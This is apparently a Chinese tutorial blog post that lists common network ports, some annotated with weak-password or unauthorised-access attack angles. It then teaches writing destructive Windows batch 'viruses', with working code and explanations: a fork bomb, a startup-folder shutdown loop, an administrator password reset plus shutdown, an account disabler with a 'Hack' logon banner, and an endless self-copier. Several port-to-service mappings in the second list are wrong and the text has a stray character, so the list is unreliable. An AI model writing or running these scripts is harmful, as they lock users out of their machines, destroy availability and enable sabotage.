Winnows基础(2)

发布于:2024-12-22 ⋅ 阅读:(16) ⋅ 点赞:(0)

Target

了解常见端口及服务,熟练cmd命令,编写简单的 .bat 病毒程序。

Trail

常见服务及端口

80 web
80-89 可能是web
443 ssl心脏滴血漏洞以及一些web漏洞测试
445 smb
1433 mssql
1521 oracle
2082/2083 cpanel主机管理系统登陆(国外用的较多)
2222 da虚拟主机管理系统登陆(国外较多)
3128 squid代理默认端口-漫游内网
3306 mysql
3312/3311 kangle主机管理系统登陆
3389 远程桌面
5432 postgreSQL
5900 vnc(shodan演示过了)
6379 redis(未授权)
7001,7002 weblogic 默认弱口令,反序列化
7778 kloxo主机控制面板登录
8000-9090 一些常见的web端口,有些运维喜欢把管理后台开这些非80端口上面
8080 tomcat、wdcp主机管理系统,默认弱口令
8080,8089,9090 jboss
8083 vestacp主机管理系统(国外较多)
8649 ganglia
8888 宝塔主机管理默认端口
10000 virtualmin/webmin服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 mongodb未授权访问(shodan讲过)
28017 mongodb统计系统页面

其他

21 FTP 文件传输服务
22 SSH 远程连接服务
23 Telnet 终端仿真服务
25 SMTP 简单邮件传输服务
53 DNS 域名解析服务
69 TFTP 小文件传输协议
80 HTTP Web服务
110 POP3 邮局协议版本3
123 NTP 网络时间协议
135 Microsoft RPC 远程过程调用
139 NetBIOS 网络基本输入输出系统
143 IMAP 互联网邮件访问协议
161 SNMP 简单网络管理协议
194 IRC 互联网中继聊天
443 HTTPS 安全超文本传输协议
514 Syslog 系统日志
445 Microsoft-DS 活动目录服务
512,513,514膏 Rlogin, who, syslog
873 rsync 远程文件同步服务
995 POP3S POP3安全版
993 IMAP4S IMAP4安全版
1080 SOCKS代理端口
1433 Microsoft SQL Server
1521 Oracle 数据库监听端口
1723 PPTP 点对点隧道协议
1940, 1941 H.323 网络语音协议
2000, 2001 Apple Filing Protocol
2049 NFS 网络文件系统
2121 FTP 另一个文件传输服务端口
2181 ActiveMQ 默认端口
2222, 22222, 5222 SSH, SFTP 另一个远程连接服务端口
3000, 3001, 3003 Web 服务端口
3306 MySQL 数据库服务端口
3389 Microsoft RDP 远程桌面服务
4899 rlogin远程登录服务
5000 SlingShot IP over DNS tunneling
5001, 5002, 5003, 5004 WinRM Windows远程管理服务
5050, 5051, 5052 ActiveMQ 默认端口
5060 SIP Session Initiation Protocol
5190 Jabber XMPP通信协议
5222 SIP Session Initiation Protocol
5269 XMPP Extensible Messaging and Presence Protocol
5298, 5299 Stun波音公司协议
5900 vnc远程桌面服务
6000 X11 远程显示系统
6001, 6002, 6003, 6004, 6005, 6006, 6007 X11 远程显示系统
6379 Redis 键值存储数据库
7000, 7001 RealNetworks Helix服务器
7002 WebLogic 默认弱口令端口
8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009 Web 服务端口
8080 HTTP 代理服务端口
8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089 Web 服务端口
9100, 9101 HP JetDirect 打印服务
9200, 9300 Elasticsearch 搜索引擎
9500 Samba Windows文件共享服务
9600, 9700, 9800, 9900, 10000 Virtualmin/Webmin Web 服务端口

病毒编写

一、弹窗型资源耗尽

hack.bat

start cmd

%0

 在一个批处理(.bat)文件中,%0 是一个特殊的变量,它代表当前批处理文件本身的名称

即可以实现重复执行

二、无限重启型病毒

echo shutdown /s /t 0 > hack.bat
copy hack.bat
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\"

 将自动重启的bat文件添加到开启自启项

三、锁机病毒

net user administrator 123456
shutdown /s /t 0

分析:更改密码,关机

四、禁用当前用户

@echo off
:: 获取当前用户名
for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a
:: 禁用当前用户账户
net user %username% /active:no
:: 设置登录提示信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "Hack !!!!!!!!" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "Neuro Hack !!!!!!!。" /f
:: 立刻关机
shutdown /s /t 0

分析

1.关闭回显

 echo off :将批处理文件中所有命令的回显功能关闭。关闭回显后,批处理文件中的命 令将不会显示在命令行窗口中,仅显示命令的输出结果。这样可以让脚本执行过程更清 洁,避免用户看到每一条执行的命令。

@ :在批处理文件中使用 @ 符号,表示只在当前行关闭回显(在该行不显示此命令本 身)。在这里, @ 用来隐藏 echo off 命令本身的回显。也就是说,用户不会在命令行 窗口中看到 echo off 。

2.获取用户信息

cmd中可以使用 whoami 获取当前用户信息,但是 whoami 会包含用户所处域的名称,例 如 DESKTOP-12345\John ,我们需要使用脚本处理该段字符串,获取后面的用户名。

3.禁用当前用户账户

net user %username% /active:no

4.设置登录提示信息

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "xxx" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "xxx" /f

使用 reg add 向注册表中添加登录提示信息

legalnoticecaption :设置提示框标题。 legalnoticetext :设置提示内容,这里可以自定义为“你已经被hack,你的账户已被锁 定,请联系管理员。”

5.立刻关闭主机

shutdown /s /t 0

脚本运行过程

1. 运行脚本:以管理员权限运行该批处理脚本。

2. 账户禁用:脚本会获取当前用户名,并将该用户账户设置为禁用状态。

3. 立刻关闭主机:脚本在禁用账户后会立刻关闭主机。

4. 尝试重新登录:当用户再次登录系统时,将显示“账户已被锁定,请联系管理员”的提示。 5. 账户禁用效果:账户被禁用后,即使输入正确的密码也无法登录系统。

五、无限复制

将自己无线复制到桌面

@echo off
setlocal enabledelayedexpansion
:: 获取当前脚本文件路径和文件名
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
:: 无限复制当前脚本到桌面
:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop

1.

setlocal enabledelayedexpansion :启用延迟变量扩展,这样可以在循环中动态更新 变量的值。延迟扩展在批处理脚本中非常有用,特别是在处理循环时。

但实测后不加这个行代码对当期那脚本无影响,可能最是对for循环有作用。 

2.

set scriptPath=%~f0 :获取当前脚本文件的完整路径,并将其存储在变量 scriptPath 中。 %~f0 表示当前批处理文件的完整路径。

set desktopPath=%USERPROFILE%\Desktop :获取当前用户桌面的路径,将其存储在变 量 desktopPath 中。 %USERPROFILE% 是系统环境变量,指向当前用户的主文件夹路 径。  

3.

   1) loop :定义一个标签 loop ,用于无限循环的入口。

   2) set /a count+=1 :定义一个计数器 count ,并在每次循环时自增 1,用于生成唯一的 文件名, /a 告诉 set 命令对右侧的表达式进行算术运算。

   3) copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :将当前脚本文件复制到 桌面,并命名为 Copy_1.bat 、 Copy_2.bat 等等。 %count% 确保每次复制文件的文件 名不同,以避免覆盖。

   4)goto loop :跳转回 loop 标签,形成无限循环